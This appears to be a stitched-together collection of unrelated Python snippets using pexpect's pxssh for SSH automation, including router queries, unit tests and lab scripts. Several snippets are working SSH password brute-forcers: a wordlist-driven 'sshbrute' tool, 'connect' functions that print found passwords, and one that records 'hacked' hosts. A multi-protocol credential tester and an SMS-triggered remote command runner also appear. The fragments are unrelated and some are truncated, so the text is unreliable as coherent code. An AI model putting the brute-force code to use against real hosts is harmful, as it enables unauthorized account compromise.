def __init__(self, user=None, password=None, host=None, logfile=None, environment=None, verbose=False,
virtualenv=None, working_dir=None):
"""
:param user: the remote user account
:type user: str
:param password: the password for the remote user account
:type password: str
:param host: the remote machine
:type host: str
:param logfile: optional logfile
:type logfile: str
:param environment: Optional key to Project.prefix and Project.postfix dictionaries
:type environment: str
:param verbose: extra logging
:type verbose: bool
:param virtualenv: directory that contains a virtual environment to activate upon connection
:type virtualenv: str
"""
super(RemoteShell, self).__init__(is_remote=True, verbose=verbose)
if not user:
user = Project.user
if not host:
host = Project.address
Project.user = user
Project.password = password
Project.address = host
self.ssh = pxssh(timeout=1200)
try:
if password:
self.ssh.login(host, user, password)
else:
self.ssh.login(host, user)
except ExceptionPxssh:
if not password:
password = Project.password
if not password:
password = getpass('password for {user}@{host}: '.format(user=user, host=host))
self.ssh.close()
self.ssh = pxssh(timeout=1200)
self.ssh.login(host, user, password)
self.accept_defaults = False
self.logfile = logfile
self.prefix = []
self.postfix = []
if environment:
self.prefix.extend(Project.prefix[environment] or [])
self.postfix.extend(Project.postfix[environment] or [])
if working_dir:
self.prefix.insert(0, "cd {dir} ; ".format(dir=working_dir))
if virtualenv:
self.prefix.insert(0, "source {path}/bin/activate ; ".format(path=virtualenv))
if verbose:
info("remote: {user}@{host}".format(user=user or "", host=host or ""))
def __init__(self, host, user, password, debug=False):
self.host = host
self.user = user
self.password = password
self.plex_version = "0"
self.plex_installed = False
if debug:
self.ssh = pxssh.pxssh(logfile=sys.stdout)
else:
self.ssh = pxssh.pxssh()
self.login()
def connect():
global args
if (args.method == "ssh"):
#spawncmd = 'ssh ' + args.user + '@' + args.switch
spawncmd = 'ssh -l ' + args.user + ' ' + args.switch
else:
spawncmd = 'telnet ' + args.switch
print (spawncmd)
try:
#conn = pexpect.spawn(args.method, [args.user, '@', args.switch])
#conn = pexpect.spawn(spawncmd)
s = pxssh.pxssh()
s.login(args.switch, args.user, args.passwd)
#conn = pexpect.spawn('ssh [email protected]')
except Exception as err:
print ("Unexpected error: ", sys.exc_info()[0], type(err), err.args, err)
sys.exit(0)
pdb.set_trace()
s.sendline('uptime')
s.prompt()
s.logout()
sys.exit(0)
def connect(self):
data = self.config
unconnected = True
tries = 0
while unconnected and tries <= self.max_tries:
if tries == self.max_tries:
self.warn("Maximum allowed tries are about to get over!")
try:
session = pxssh.pxssh()
self.info("Logging into " + data['hostname'] + "...")
if not session.login (data['hostname'], data['username'], data['password']):
self.error("SSH login failed.")
print str(session)
print
self.warn("Unable to connect. Retrying...")
tries = tries + 1
else:
self.info("Connected via SSH.")
unconnected = False
#return session
self.session = session
except Exception:
self.warn("Unable to connect. Retrying...")
tries = tries + 1
unconnected = True
def application():
#Credentials
host = ""
username = ""
password = ""
auth_number = "+44"
auth_token = ""
validator = RequestValidator(auth_token)
url = ""
sa = pxssh.pxssh()
body_message = str(request.values.get('Body', None))
signature = request.headers.get('X-Twilio-Signature')
from_number = request.values.get('From', None)
body1 = body_message.split(' ')[0]
if (from_number == auth_number and body1 == "service"):
sa.login(host, username, password)
sa.sendline(body_message)
sa.prompt()
sa.logout()
sms_content = "Done!"
message = str(sms_content)
resp = twilio.twiml.Response()
resp.message(message)
return str(resp)
else:
sms_content = "You are not allowed to send commands to this server"
message = str(sms_content)
resp = twilio.twiml.Response()
resp.message(message)
return str(resp)
pass
def connect(host,user,password):
try:
session = pxssh.pxssh()
session.login(host,user,password)
print('[+]Password Found:'+password)
except Exception,e:
print ('[-] Error Connecting:'+str(e))
def go1(username, password):
s = pxssh.pxssh()
if not s.login ('cory.eecs.berkeley.edu', username, password):
print ("SSH session failed on login.")
else:
print ("SSH session login successful")
commands = ["glookup -t", "glookup", "glookup -s Total"]
ret = ""
for tmp in commands:
print(tmp)
s.sendline(tmp)
s.prompt()
str = s.before
str = str.decode()
ret += str
ret = ret.replace('glookup -t','')
ret = ret.replace('glookup -s Total','')
ret = ret.replace('glookup','')
ret = ret.replace('\\r\\n','\n')
text_file = open("output.txt","w")
text_file.write(ret)
text_file.close()
s.logout()
return None
def connectSSH(host, user, passwd):
try:
ssh = pxssh.pxssh()
ssh.login(host, user, passwd, auto_prompt_reset=False)
return ssh
except Exception, e:
print "%s is not vul" % host
def _get_arp_data(self):
"""Open connection to the router and get arp entries."""
from pexpect import pxssh
import re
try:
cisco_ssh = pxssh.pxssh()
cisco_ssh.login(self.host, self.username, self.password,
port=self.port, auto_prompt_reset=False)
# Find the hostname
initial_line = cisco_ssh.before.decode('utf-8').splitlines()
router_hostname = initial_line[len(initial_line) - 1]
router_hostname += "#"
# Set the discovered hostname as prompt
regex_expression = ('(?i)^%s' % router_hostname).encode()
cisco_ssh.PROMPT = re.compile(regex_expression, re.MULTILINE)
# Allow full arp table to print at once
cisco_ssh.sendline("terminal length 0")
cisco_ssh.prompt(1)
cisco_ssh.sendline("show ip arp")
cisco_ssh.prompt(1)
devices_result = cisco_ssh.before
return devices_result.decode('utf-8')
except pxssh.ExceptionPxssh as px_e:
_LOGGER.error("pxssh failed on login")
_LOGGER.error(px_e)
return None
def ssh_get_shell(host, username, password=None, keyfile=None, port=None, timeout=10, telnet=False, original_prompt=None):
_check_env()
start_time = time.time()
extra_login_args = {}
while True:
if telnet:
if keyfile:
raise ValueError('keyfile may not be used with a telnet connection.')
conn = TelnetConnection()
if original_prompt:
extra_login_args['original_prompt'] = original_prompt
if port is None:
port = 23
else: # ssh
conn = pxssh.pxssh()
try:
if keyfile:
conn.login(host, username, ssh_key=keyfile, port=port, login_timeout=timeout, **extra_login_args)
else:
conn.login(host, username, password, port=port, login_timeout=timeout, **extra_login_args)
break
except EOF:
timeout -= time.time() - start_time
if timeout <= 0:
message = 'Could not connect to {}; is the host name correct?'
raise DeviceError(message.format(host))
time.sleep(5)
conn.setwinsize(500,200)
conn.sendline('')
conn.prompt()
conn.setecho(False)
return conn
def test_ssh_config_passing_string(self):
ssh = pxssh.pxssh(debug_command_string=True)
temp_file = tempfile.NamedTemporaryFile()
config_path = temp_file.name
string = ssh.login('server', 'me', password='******', spawn_local_ssh=False, ssh_config=config_path)
if not '-F '+config_path in string:
assert False, 'String generated from SSH config passing is incorrect.'
def test_fake_ssh(self):
ssh = pxssh.pxssh()
ssh.login('server', 'me', password='******')
ssh.sendline('ping')
ssh.expect('pong', timeout=10)
assert ssh.prompt(timeout=10)
ssh.logout()
def test_linux():
'''
Verify logging into IOS XR Linux.
Verify user is 'vagrant'.
Verify can ping 'google.com'.
Verify resolv.conf is populated.
'''
logger.debug('Testing XR Linux...')
logger.debug('Connecting to port %s' % linux_port)
try:
s = pxssh.pxssh(options={
"StrictHostKeyChecking": "no",
"UserKnownHostsFile": "/dev/null"})
s.login(hostname, username, password, terminal_type, linux_prompt, login_timeout, linux_port, auto_prompt_reset=False)
s.prompt()
logger.debug('Successfully logged into XR Linux')
logger.debug('Check user:'******'whoami')
output = s.expect(['vagrant', pexpect.EOF, pexpect.TIMEOUT])
if not check_result(output, 'Correct user found'):
return False
s.prompt()
logger.debug('Check pinging the internet:')
s.sendline("ping -c 4 google.com | grep '64 bytes' | wc -l")
output = s.expect(['4', pexpect.EOF, pexpect.TIMEOUT])
if not check_result(output, 'Successfully pinged'):
return False
s.prompt()
logger.debug('Check resolv.conf is correctly populated:')
s.sendline("cat /etc/resolv.conf | grep 220")
output = s.expect(['nameserver 208.67.220.220', pexpect.EOF, pexpect.TIMEOUT])
if not check_result(output, 'nameserver 208.67.220.220 is successfully populated'):
return False
s.prompt()
s.sendline("cat /etc/resolv.conf | grep 222")
output = s.expect(['nameserver 208.67.222.222', pexpect.EOF, pexpect.TIMEOUT])
if not check_result(output, 'nameserver 208.67.222.222 is successfully populated'):
return False
s.prompt()
logger.debug('Check vagrant public key has been replaced by private:')
s.sendline('grep "public" ~/.ssh/authorized_keys -c')
output = s.expect(['0', pexpect.EOF, pexpect.TIMEOUT])
if not check_result(output, 'SSH public key successfully replaced'):
return False
s.prompt()
s.logout()
except pxssh.ExceptionPxssh as e:
logger.error("pxssh failed on login.")
logger.error(e)
return False
else:
logger.debug("Vagrant SSH to XR Linux is sane")
return True
def __update_with_call_load(appName, creds):
''' Private method to run in a separate thread for each application/vm that must be updated with session load/call load. '''
global callLoadDict
sshHandle = pxssh.pxssh(options={"StrictHostKeyChecking": "no", "UserKnownHostsFile":"/dev/null"})
try:
if sshHandle.login(creds['ip'], creds['username'], creds['password']):
while threadsRunning.is_set():
sshHandle.sendline(creds['command_to_send'])
sshHandle.prompt()
tempLines = sshHandle.before.decode('utf-8').splitlines()[-1]
try:
tempCallLoadDict = json.loads(tempLines) if tempLines is not None else {}
except ValueError:
log.warning("Invalid call info received, error in output of %s:%s. Provided output:\n\t%s " %(creds['ip'], creds['command_to_send'], tempLines))
tempCallLoadDict = {}
tempCallLoadDict = {appName+'-'+k:v for k, v in tempCallLoadDict.items()}
for aVm in tempCallLoadDict:
if aVm not in callLoadDict: callLoadDict[aVm] = {}
callLoadDict[aVm]['calls'] = tempCallLoadDict[aVm]
#Ugly fix for confirming evacuation is 'actually' complete. Sorry. :(
if mlp.evacuatingVm !='' and mlp.evacuatingVm in tempCallLoadDict and tempCallLoadDict[mlp.evacuatingVm]>0:
frontEndEventStack.append('Server-response: VM is operational. Evacuation complete'+'#{"evacuation":"stop"}')
mlp.evacuatingVm = ''
time.sleep(fetchInterval)
sshHandle.logout()
except IndexError:
log.error('"IndexError" while updating with call info. Porbable cause : Error in communication with %s' %(creds['ip']))
return
except pexpectEndOfFile:
log.critical('pexpect: end-of-file exception; Failed to read call information. Failed to log in to %s. Running GUI without call-info. Restart program if necessary.' %(creds['ip']))
def main(run): try: printAlert(0,"Testing Mysql protocol [3306]") MySQLdb.connect(init.var['target'],init.var['user'],init.var['pass'],'') printAlert(3,"Logged with "+init.var['user']+"/"+init.var['pass']+" in Mysql") except:printAlert(1,"Service Off or No Logged.") try: printAlert(0,"Testing SSH protocol [22]") connect = pxssh.pxssh() connect.login(init.var['target'],init.var['user'],init.var['pass']) printAlert(3,"Logged with "+init.var['user']+"/"+init.var['pass']+" in SSH") except:printAlert(1,"Service Off or No Logged.") try: printAlert(0,"Testing FTP protocol [21]") ftp.login(init.var['user'],init.var['pass']) printAlert(3,"Logged with "+init.var['user']+"/"+init.var['pass']+" in FTP") except:printAlert(1,"Service Off or No Logged.") try: printAlert(0,"Testing POP3 protocol [110]") red=poplib.POP3(init.var['target'], 110) red.user(init.var['user']+"@"+init.var['target']) red.pass_(init.var['pass']) printAlert(3,"Logged with "+init.var['user']+"/"+init.var['pass']+" in POP3") except:printAlert(1,"Service Off or No Logged.") Space()
def remote(self):
"""
Create pxssh session and execute the command based on the type
i.e. interactive single, interactive all or non-interactive
"""
try:
logger.info("remote")
s = pxssh.pxssh(self.timeout)
hostname = self.host
username = self.username
password = self.password
s.login(hostname, username, password)
if not interactive and args.command != "all":
self.exec_remote_noninteractive(s=s)
elif args.command != "all":
self.exec_remote(s=s)
else:
self.exec_remote_all(s=s)
s.logout()
except pxssh.ExceptionPxssh as e:
logger.error("ssh failed on login.")
except pexpect.exceptions.TIMEOUT as e:
logger.error("request timed out")
except Exception as e:
logger.error(str(e))
def connect(host, user, password, release): # Grab global variables global Found global Fails global EOF_Fails global DEBUG_MODE global TIMEOUT global MAX_ERRORS if DEBUG_MODE: print "[DEBUG] Connect() password variable: " + password # Test connection via SSH try: s = pxssh.pxssh() s.login(host, user, password, login_timeout=TIMEOUT, quiet=False) print "[+] *** Password Found: " + password FoundPassASCII_Art(password) Found = True # Handle thrown back errors except Exception, e: ##print "[DEBUG] Exception: " + str(e) if DEBUG_MODE: if 'password refused' in str(e): print "[DEBUG] password refused exception." elif 'permission denied' in str(e): print "[DEBUG] permission denied exception. Wrong password" if EOF_Fails > MAX_ERRORS: print "[DEBUG] EOF error details: " + str(e) # Timeout error if 'read_nonblocking' in str(e): if DEBUG_MODE: print "error recieved: " +str(e) Fails += 1 time.sleep(5) connect(host, user, password, False) # We only want the original caller to release the lock. The children should not be able to release the lock. # Too many connections. Slow down elif 'synchronize with original prompt' in str(e): if DEBUG_MODE: print "error recieved: " +str(e) time.sleep(1) connect(host, user, password, False) # We only want the original caller to release the lock. # Connection is refused by server elif "Connection refused" in str(e): print "[-] Connection refused by host" print "[-] Host probably does not have SSH enabled." Fails = MAX_ERRORS + 1 # If host is using a different SSH key than the one you have saved. elif 'Host key verification failed' in str(e): print "[!] Host key verification failed!" +\ " Possible MITM attack. Check your known SSH keys file." Fails = MAX_ERRORS + 1 # Generic error usually recieved from pxssh. elif 'EOF' in str(e): print "[-] Got back a generic error..." EOF_Fails += 1
def ssh_connection(self):
"""Retrieve data from ASUSWRT via the ssh protocol."""
from pexpect import pxssh, exceptions
ssh = pxssh.pxssh()
try:
ssh.login(self.host, self.username, **self.ssh_secret)
except exceptions.EOF as err:
_LOGGER.error("Connection refused. Is SSH enabled?")
return None
except pxssh.ExceptionPxssh as err:
_LOGGER.error("Unable to connect via SSH: %s", str(err))
return None
try:
ssh.sendline(_IP_NEIGH_CMD)
ssh.prompt()
neighbors = ssh.before.split(b"\n")[1:-1]
if self.mode == "ap":
ssh.sendline(_ARP_CMD)
ssh.prompt()
arp_result = ssh.before.split(b"\n")[1:-1]
ssh.sendline(_WL_CMD)
ssh.prompt()
leases_result = ssh.before.split(b"\n")[1:-1]
else:
arp_result = [""]
ssh.sendline(_LEASES_CMD)
ssh.prompt()
leases_result = ssh.before.split(b"\n")[1:-1]
ssh.logout()
return AsusWrtResult(neighbors, leases_result, arp_result)
except pxssh.ExceptionPxssh as exc:
_LOGGER.error("Unexpected response from router: %s", exc)
return None
def single_gameserver(num, hostname, passwd):
try:
# cmd = '''\
# mysql -uroot -S /tmp/mysqlzz{0}.sock -e "show databases;" > /dev/null 2>&1;[ $(echo $?) == 0 ] && \
# mysql -uroot -S /tmp/mysqlzz{0}.sock -e "show slave status\G" | grep "Running" | sed "s/^ *//" || \
# mysql -uroot -S /tmp/mysqlzz{0}.sock -p{1} -e "show slave status\G" | grep "Running" | sed "s/^ *//"
# '''.format(num, passwd)
if passwd == 'Null':
cmd = '''mysql -uroot -S /tmp/mysqlzz{0}.sock -e "show slave status\G" | grep "Running" | sed "s/^ *//"'''.format(num)
else:
cmd = '''mysql -uroot -S /tmp/mysqlzz{0}.sock -p{1} -e "show slave status\G" | grep "Running" | sed "s/^ *//"'''.format(num, passwd)
# print num
# print hostname
# print passwd
# print cmd
s = pxssh.pxssh()
s.login(hostname, username, password, port=2009, login_timeout=600)
s.sendline(cmd)
s.prompt(timeout=600)
output = s.before.split('\r\n')
print output
s.logout()
except pxssh.ExceptionPxssh as e:
print 'pxssh failed on login.'
print e
def pxssh_connect(host, user, password, release):
global gHackedHostList
Found = False
try:
session = pxssh.pxssh()
session.login(host, user, password)
session.expect([pexpect.EOF, pexpect.TIMEOUT])
LoginInfo = '{0}: {1}/{2}'.format(host, user, password)
gHackedHostList.append(LoginInfo)
print '[+] Password found on ' + LoginInfo
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
sys.stdout.write('read_nonblocking encountered, another try\n')
sys.stdout.flush()
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
sys.stdout.write('synchronize with orignal prompt, another try\n')
sys.stdout.flush()
time.sleep(1)
connect(host, user, password, False)
else:
sys.stderr.write('[-] Exception: ' + str(e) + '\n')
sys.stderr.flush()
def __init__(self):
"""
The constructor ...
:return:
"""
# Call the constructor of the base class
super(Remote, self).__init__()
# -- Attributes --
# The SSH interface, an instance of the pxssh class
self.ssh = pxssh.pxssh()
# The host instance
self.host = None
# The VPN service
self.vpn = None
# A flag indicating whether the connection with the remote has been established
self.connected = False
# A regular expression object that strips away special unicode characters, used on the remote console output
self.ansi_escape = re.compile(r'\x1b[^m]*m')
# Flag that says whether we are in a remote python session
self.in_python_session = False
# Temp directory will be set in setup
self._temp_path = None
# Flag that says whether we have created a temporary directory
self._temp_dir_created = False
def setConfigIPToActiveCIC():
'''
Method that checks if the CIC IP provided in the config.json file is the main CIC. If not, fetches the main CIC IP and updates the config.json file accordingly.
If this crashes, the config.json file may end up being blank, replace it with a backup copy in such cases. (There is one on the 'dummy_inputs' directory)
'''
ps, ps1 = (pxssh.pxssh(options={"StrictHostKeyChecking": "no", "UserKnownHostsFile":"/dev/null"}),)*2
with open('config.json', 'r') as conF:
configDict = json.loads(conF.read())
ip, user, pw = configDict['ssh']['ip'], configDict['ssh']['username'], configDict['ssh']['password']
if ps.login(ip, user, pw):
current_cic_hostname = "".join(execute_commands(ps, ['hostname -s'])[-1].split())+'.domain.tld'
main_cic_hostname = execute_commands(ps, ['echo $(sudo crm_mon -1 | grep cmha| grep Started)'])[0].rsplit('Started')[-1]
main_cic_hostname = "".join(main_cic_hostname.split())
log.info('Main cic hostname: "%s"' %(main_cic_hostname))
log.debug('Current cic hostname: "%s"' %(current_cic_hostname))
if current_cic_hostname!=main_cic_hostname:
log.info('Currently set IP in the \'config.json\' file does not belong to the main CIC, fetching main cic IP for GUI-config file. This might take upto 1 minute.')
main_cic_ip_string = execute_commands(ps, ['ssh '+user+'@'+main_cic_hostname, pw ,'echo $(ifconfig br-ex | grep "inet addr:")'])[-2]
log.debug('main cic ip string %s' %(main_cic_ip_string))
execute_commands(ps, ['exit'])
main_cic_ip_string = ["".join(s.split()) for s in re.findall(r'(?<=inet addr:)(.+)(?=Bcast)', main_cic_ip_string)][0]
log.info('Main cic IP: %s' %(main_cic_ip_string))
configDict['ssh']['ip'] = main_cic_ip_string
with open('config.json', 'w') as conF:
conF.write(json.dumps(configDict, indent=4, separators=(',', ':'), sort_keys=True))
else:
log.info("Config file has the main CIC IP.")
ps.logout()
def ssh_connection(self):
"""Retrieve data from ASUSWRT via the ssh protocol."""
from pexpect import pxssh
try:
ssh = pxssh.pxssh()
ssh.login(self.host, self.username, self.password)
ssh.sendline(_IP_NEIGH_CMD)
ssh.prompt()
neighbors = ssh.before.split(b'\n')[1:-1]
if self.mode == 'ap':
ssh.sendline(_ARP_CMD)
ssh.prompt()
arp_result = ssh.before.split(b'\n')[1:-1]
ssh.sendline(_WL_CMD)
ssh.prompt()
leases_result = ssh.before.split(b'\n')[1:-1]
else:
arp_result = ['']
ssh.sendline(_LEASES_CMD)
ssh.prompt()
leases_result = ssh.before.split(b'\n')[1:-1]
ssh.logout()
return (neighbors, leases_result, arp_result)
except pxssh.ExceptionPxssh as exc:
_LOGGER.exception('Unexpected response from router: %s', exc)
return ('', '', '')
def invade(self, clientInfo):
if clientInfo is not None:
try:
print "starting ssh..."
ssh = pxssh.pxssh()
#ssh.PROMPT= 'SSH> '
#options={"StrictHostKeyChecking": "no", "UserKnownHostsFile": "/dev/null"})
hostname = clientInfo[IPADDR].strip()
username = clientInfo[USER].strip()
password = clientInfo[PASSWORD].strip()
destDir = clientInfo[DIR].strip()
dloadUrl = clientInfo[URL].strip()
if hostname in REMOTE_CLIENTS_EVENTS.keys():
if REMOTE_CLIENTS_EVENTS[hostname] is "Installing":
print "prevented duplicate install"
return
cid = ThinClient.ComputeClientID(hostname)
if cid in KNOWN_CLIENTS.keys():
if KNOWN_CLIENTS[cid].progress() > 0 and KNOWN_CLIENTS[cid].progress() < 100 and KNOWN_CLIENTS[cid].isZombie() == False:
print "prevented duplicate install"
return
reset = clientInfo[RESET].strip() == "reset"
REMOTE_CLIENTS_EVENTS[hostname] = "Installing"
ssh.login(hostname, username, password)
print ssh.before
ssh.sendline("export DISPLAY=:0") # cd to directory where you want to install
ssh.prompt() # match the prompt
ssh.sendline("mkdir -p " + destDir) # cd to directory where you want to install
ssh.prompt() # match the prompt
ssh.sendline("cd " + destDir) # cd to directory where you want to install
ssh.prompt() # match the prompt
ssh.sendline("rm -rf agent agent.tgz") # Remove the old install
print ssh.before
ssh.prompt()
# match the prompt
ssh.sendline('curl -k -o client.tgz ' + dloadUrl)
print ssh.before
ssh.prompt()
ssh.sendline('tar zxf client.tgz') # unzip the package
print ssh.before
ssh.prompt()
url = 'http://' + self.address + ':' + serverGlobalConfig['port']
if (reset == True):
cmd = 'setsid python agent/AutomationAgent.py server ' + url + ' --debug >'+ os.path.join(destDir, 'automation-console.log') +' 2>&1 &'
clientInfo[RESET] = "noreset"
else:
cmd = 'setsid python agent/AutomationAgent.py server ' + url + ' --debug --noreset >'+ os.path.join(destDir, 'automation-console.log') +' 2>&1 &'
print cmd
ssh.sendline(cmd)
ssh.prompt()
#ssh.sendline("sleep 2")
#ssh.prompt()
ssh.logout()
cid = ThinClient.ComputeClientID(hostname)
REMOTE_CLIENTS[cid] = (hostname, ' '.join(clientInfo))
REMOTE_CLIENTS_EVENTS[hostname] = "Installed"
except Exception as e:
print "Remote install failed for :",' '.join(clientInfo)
REMOTE_CLIENTS_EVENTS[hostname] = "Install Failed"
def test_fake_ssh(self):
ssh = pxssh.pxssh()
# ssh.logfile_read = sys.stdout # DEBUG
ssh.login("server", "me", password="******")
ssh.sendline("ping")
ssh.expect("pong", timeout=10)
assert ssh.prompt(timeout=10)
ssh.logout()
def __init__(self, hostname='127.0.0.1', port=22, username='******', password='', options={"StrictHostKeyChecking":"no"}, add_options={}):
self.s = s = pxssh.pxssh()
options.update(add_options)
s.options = options
print "Connecting via SSH to %s@%s" % (username,hostname)
if not s.login(server=hostname, username=username, password=password, port=port):
raise RuntimeError("Invalid SSH connection or credentials")
print "Successfully connected via SSH"
def connect(self):
try:
s = pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print "[ - ] Error Connecting"
def test_wrong_pw(self):
ssh = pxssh.pxssh()
try:
ssh.login("server", "me", password="******")
except pxssh.ExceptionPxssh:
pass
else:
assert False, "Password should have been refused"
def test_wrong_pw(self):
ssh = pxssh.pxssh()
try:
ssh.login('server', 'me', password='******')
except pxssh.ExceptionPxssh:
pass
else:
assert False, 'Password should have been refused'
def test_connection_refused(self):
ssh = pxssh.pxssh()
try:
ssh.login('noserver', 'me', password='******')
except pxssh.ExceptionPxssh:
pass
else:
assert False, 'should have raised exception, pxssh.ExceptionPxssh'
def run(self):
time.sleep(5)
start = time.time()
self.lnk = pxssh.pxssh()
hostname = '10.212.212.49'
username = '******'
password = '******'
self.lnk.login(hostname, username, password)
end = time.time()
print('Vacuum RPi connected. Time elapsed: ' +
str('%.2f' % (end - start)) + " seconds")
self.lnk.sendline("cd ~/Desktop/vacuum_controller2")
self.lnk.sendline("python")
self.lnk.sendline("import vacuum_control")
self.lnk.sendline("tic = vacuum_control.TIC()")
print("Vacuum RPi - connected to vacuum_control.py")
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found: ' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
def connectSSH(self):
res = os.system('ping -c 1 ' + self.ipaddr)
if res != 0:
print 'Host is not reachable'
return None
cli = pxssh.pxssh()
try:
res = cli.login(self.ipaddr,
self.userid,
self.userpw,
login_timeout=30)
except pxssh.ExceptionPxssh, e:
print "LogIn Failed - [%s]" % str(e)
return None
def execute_ssh_execute_file(args):
'''
SSH directly into the machine using parameters received
'''
ip = args["IP"]
user = args["User"]
password = args["Pass"]
try:
print("File Being Executed")
file_command = "{} {}".format("bash", "exe.sh")
ssh_handle = pxssh.pxssh(options={
"StrictHostKeyChecking": "no",
"UserKnownHostsFile": "/dev/null"
})
ssh_handle.login(ip, user, password)
index = ssh_handle.expect(['[#\$]', '$', pexpect.EOF])
if index == 0:
ssh_handle.sendline("yes")
ssh_handle.sendline(password)
ssh_handle.sendline('sudo -s')
ssh_handle.sendline(password)
ssh_handle.sendline(file_command)
ssh_handle.expect("#")
ssh_handle.sendline("exit")
ssh_handle.expect("$")
ssh_handle.logout()
print("File Succesfully Executed")
if index == 1:
ssh_handle.sendline('sudo -s')
ssh_handle.sendline(password)
ssh_handle.sendline(file_command)
ssh_handle.expect("#")
ssh_handle.sendline("exit")
ssh_handle.expect("$")
ssh_handle.logout()
print("File Succesfully Executed")
except Exception as e:
print(str(e))
except pxssh.ExceptionPxssh as e:
print(str(e))
def Temp(self):
print('Getting Temp Logs')
self.lnk = pxssh.pxssh()
self.lnk.login(self.TCS,self.username,self.password)
self.lnk.sendline('cd ~/Desktop/FHiRE-TCS/')
self.lnk.sendline('scp tempLog.dat [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs')
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'scp LPresistorsLog.dat [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs')
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'scp LPdiodesLog.dat [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs')
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'scp controlTemp.dat [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs')
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'scp monitoringTemp.dat [email protected]:/home/fhire/Desktop/FHiRE_GAM/logs')
time.sleep(3)
i = self.lnk.expect('[email protected]\'s password:'******'Temp Logs Obtained')
def ssh():
start_time = time()
value = 0
recibido = 0
enviado = 0
conexiones = 0
ssh_servidor = '10.0.0.19'
ssh_usuario = 'daniela'
ssh_clave = 'password'
# Comandos que vamos a ejecutar en el servidor
trafico_recibido = 'snmpget -v2c -c sshgroup localhost 1.3.6.1.2.1.4.3.0'
trafico_enviado = 'snmpget -v2c -c sshgroup localhost 1.3.6.1.2.1.4.9.0'
conexiones_establecidas = 'snmpget -v2c -c sshgroup localhost 1.3.6.1.2.1.6.9.0'
len_comando = len(trafico_recibido)
try:
s = pxssh.pxssh()
if not s.login(ssh_servidor, ssh_usuario, ssh_clave):
value = 33
else:
value = 100
s.sendline(trafico_recibido)
s.prompt() # match the prompt
recibido = str(s.before)
recibido = recibido[(len_comando + 39):(len(recibido) - 5)]
s.sendline(trafico_enviado)
s.prompt() # match the prompt
enviado = str(s.before)
enviado = enviado[(len_comando + 39):(len(enviado) - 5)]
s.sendline(conexiones_establecidas)
s.prompt() # match the prompt
conexiones = str(s.before)
conexiones = conexiones[(len_comando + 37):(len(conexiones) - 5)]
s.logout()
except:
value = 33
elapsed_time = time() - start_time
return recibido, enviado, conexiones, value, elapsed_time
def distribute_publickey_to_hosts(source_host, dest_hosts_list, user,
password):
try:
ssh_connection = pxssh.pxssh()
ssh_connection.login(source_host, user, password)
already_has_pubkey = run_command_and_return_status(
ssh_connection, '[ -f ~/.ssh/id_rsa ]')
if already_has_pubkey != 0:
rc = run_command_and_return_status(
ssh_connection, 'ssh-keygen -f ~/.ssh/id_rsa -t rsa -N ""')
if rc > 0:
ssh_connection.logout()
return False
for dest_host in dest_hosts_list:
print("Distributing key from SERVER: " + source_host +
" to host: " + dest_host)
ssh_connection.sendline(
'ssh-copy-id -i ~/.ssh/id_rsa ' + dest_host +
' -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no')
ssh_connection.prompt()
prompt_message = ssh_connection.before
print(prompt_message)
if prompt_message.lower().find('password:'******'echo $?')
ssh_connection.prompt()
rc = int(ssh_connection.before.split('\n')[1])
if rc != 0:
raise Exception('Error while distributing key to host ' +
dest_host)
print('Key distributed')
ssh_connection.logout
except Exception as e:
print('ERROR: in function -> distribute_publickey_to_hosts')
print(e)
return False
return True
def sshbrute(web):
#print(R+'\n ===============================')
#print(R+'\n S S H B R U T E F O R C E R')
#print(R+' ——·‹›·––·‹›·——·‹›·——·‹›·——·‹›·–\n')
from core.methods.print import pbrute
pbrute("ssh")
try:
print(GR+' [*] Testing target...')
ip = socket.gethostbyname(web)
m = input(O+' [§] Use IP '+R+str(ip)+O+'? (y/n) :> ')
if m == 'y' or m == 'Y':
pass
elif m == 'n' or m == 'N':
ip = input(O+' [§] Enter IP :> ')
print(G+' [+] Target appears online...')
port = input(GR+' [§] Enter the port (eg. 22) :> ')
try:
with open('files/brute-db/ssh/ssh_defuser.lst','r') as users:
for u in users:
u = u.strip('\n')
sshuser.append(u)
with open('files/brute-db/ssh/ssh_defpass.lst','r') as pas:
for p in pas:
p = p.strip('\n')
sshpass.append(p)
except IOError:
print(R+' [-] Importing wordlist failed!')
for user in sshuser:
for password in sshpass:
try:
connect = pxssh.pxssh()
connect.login(ip,str(user),password)
if True:
print(G+' [!] Successful login with ' +O+user+G+ ' and ' +O+password)
break
except:
print(C+' [!] Checking '+B+user+C+' and '+B+password+'...')
except:
print(R+' [-] Target seems to be down!')
print(G+" [+] Done!")
def test_custom_ssh_cmd_debug(self):
ssh = pxssh.pxssh(debug_command_string=True)
cipher_string = '-c aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,' \
+ 'aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,' \
+ 'aes256-cbc,arcfour'
confirmation_strings = 0
confirmation_array = [cipher_string, '-2']
string = ssh.login('server',
'me',
password='******',
cmd='ssh ' + cipher_string + ' -2')
for confirmation in confirmation_array:
if confirmation in string:
confirmation_strings += 1
if confirmation_strings != len(confirmation_array):
assert False, 'String generated for custom ssh client command is incorrect.'
def login_test(self, host, user, password):
targethost = host
login_user = user
login_pwd = password
print targethost, login_user, login_pwd
try:
s = pxssh.pxssh()
s.login(str(host), str(user), str(password), login_timeout=1)
print "[+]succeed found %s---%s:%s" % (targethost, login_user,
login_pwd)
fs = open('result.txt', 'a+')
fs.write("[+]succeed found %s---%s:%s" %
(targethost, login_user, login_pwd) + '\n')
return False
except:
return True
pass
def trySSH(hostname, username, password):
try:
conn = pxssh.pxssh()
conn.login(hostname, username, password, auto_prompt_reset=False)
